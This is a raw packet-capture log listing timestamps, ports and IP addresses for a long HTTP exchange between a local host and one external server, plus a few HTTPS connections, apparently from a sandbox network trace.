Nov 20, 2024 00:19:25.804744005 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804744959 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.804759979 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804763079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.804785013 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804795027 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.804799080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804814100 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804825068 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.804828882 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804850101 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804856062 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.804866076 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804879904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804889917 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.804896116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804910898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804913044 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.804925919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804934978 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.804941893 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804958105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804965019 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.804971933 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804987907 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.804996967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805000067 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805015087 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805016041 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805032015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805048943 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805078983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805279016 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805296898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805311918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805326939 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805334091 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805350065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805366039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805383921 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805386066 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805399895 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805416107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805429935 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805444956 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805444956 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805466890 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805485010 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805502892 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805525064 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805540085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805562019 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805569887 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805577040 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805591106 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805599928 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805607080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805614948 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805620909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805636883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805644035 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805659056 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805672884 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805674076 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805686951 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805687904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805704117 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805716038 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805726051 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805731058 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805742025 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805747986 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805757046 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805764914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805773020 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805784941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805787086 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805805922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805813074 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805826902 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805831909 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805841923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805856943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805860996 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805871010 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805880070 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805888891 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805905104 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805912971 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805918932 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805932999 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805941105 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805948019 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805958033 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.805963993 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.805984974 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.806010008 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.823329926 CET	443	62083	23.219.82.25	192.168.2.5
Nov 20, 2024 00:19:25.823435068 CET	62083	443	192.168.2.5	23.219.82.25
Nov 20, 2024 00:19:25.842494965 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.842570066 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.842583895 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.842623949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.842638969 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.842638016 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.842654943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.842670918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.842674017 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.842708111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.842725992 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.842809916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.842824936 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.842840910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.842849016 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.842854977 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.842868090 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.842900038 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.842909098 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.842916012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.842931986 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.842947006 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.842947960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.842962027 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.842977047 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.842991114 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.842993021 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.843015909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.843023062 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.843024015 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.843030930 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.843036890 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.843041897 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.843075037 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.843089104 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.843102932 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.843118906 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.843128920 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.843143940 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.843158960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.843162060 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.843173027 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.843183994 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.843206882 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.843219995 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.847327948 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.847651958 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.849973917 CET	443	62081	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:25.849993944 CET	443	62081	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:25.850054979 CET	62081	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.850076914 CET	443	62081	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:25.850132942 CET	443	62081	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:25.850197077 CET	62081	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.852020979 CET	62084	443	192.168.2.5	204.79.197.219
Nov 20, 2024 00:19:25.852035046 CET	443	62084	204.79.197.219	192.168.2.5
Nov 20, 2024 00:19:25.857265949 CET	62081	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.857275963 CET	443	62081	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:25.857983112 CET	62099	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.858020067 CET	443	62099	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:25.858119011 CET	62099	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.858999968 CET	62099	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.859014988 CET	443	62099	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:25.887881994 CET	62086	443	192.168.2.5	23.57.90.171
Nov 20, 2024 00:19:25.887900114 CET	443	62086	23.57.90.171	192.168.2.5
Nov 20, 2024 00:19:25.887918949 CET	62085	443	192.168.2.5	204.79.197.219
Nov 20, 2024 00:19:25.887940884 CET	443	62085	204.79.197.219	192.168.2.5
Nov 20, 2024 00:19:25.895560026 CET	62100	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:25.895584106 CET	443	62100	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:25.895678043 CET	62100	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:25.895873070 CET	62100	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:25.895889997 CET	443	62100	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:25.897387981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.897450924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.897456884 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.897475004 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.897497892 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.897510052 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.897531033 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.897547960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.897568941 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.897588015 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.897675037 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.897691011 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.897707939 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.897717953 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.897723913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.897726059 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.897739887 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.897747040 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.897763014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.897763968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.897780895 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.897782087 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.897805929 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.897808075 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.897825003 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.897825956 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.897840977 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.897849083 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.897859097 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.897866964 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.897875071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.897888899 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.897891998 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.897897005 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.897914886 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.897932053 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898039103 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898055077 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898072958 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898097038 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898103952 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898114920 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898129940 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898139954 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898156881 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898161888 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898178101 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898188114 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898194075 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898214102 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898217916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898233891 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898240089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898250103 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898267031 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898276091 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898288965 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898304939 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898308992 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898334026 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898360014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898384094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898408890 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898425102 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898431063 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898441076 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898449898 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898458958 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898469925 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898485899 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898504972 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898580074 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898597002 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898612976 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898629904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898636103 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898653984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898669004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898677111 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898691893 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898694038 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898710966 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898719072 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898727894 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898744106 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898744106 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898756981 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898761034 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898777962 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898787022 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898787022 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898807049 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898809910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898823023 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898827076 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898844004 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.898866892 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.898893118 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899044037 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899060011 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899075985 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899094105 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899101019 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899110079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899117947 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899132967 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899139881 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899148941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899163961 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899164915 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899178028 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899189949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899198055 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899204969 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899207115 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899223089 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899230957 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899239063 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899249077 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899254084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899266958 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899272919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899279118 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899300098 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899305105 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899317026 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899323940 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899338961 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899339914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899357080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899363995 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899378061 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899385929 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899399042 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899408102 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899415970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899425983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899430990 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899444103 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899454117 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899457932 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899477005 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899478912 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899487019 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899501085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899524927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899542093 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899549007 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899564028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899565935 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899589062 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899605036 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899605989 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899612904 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899621964 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899633884 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899647951 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899647951 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899663925 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899666071 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899683952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899687052 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899698973 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899703979 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899718046 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899724007 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899733067 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899740934 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.899748087 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.899758101 CET	49762	80	192.168.2.5	185.215.113.206
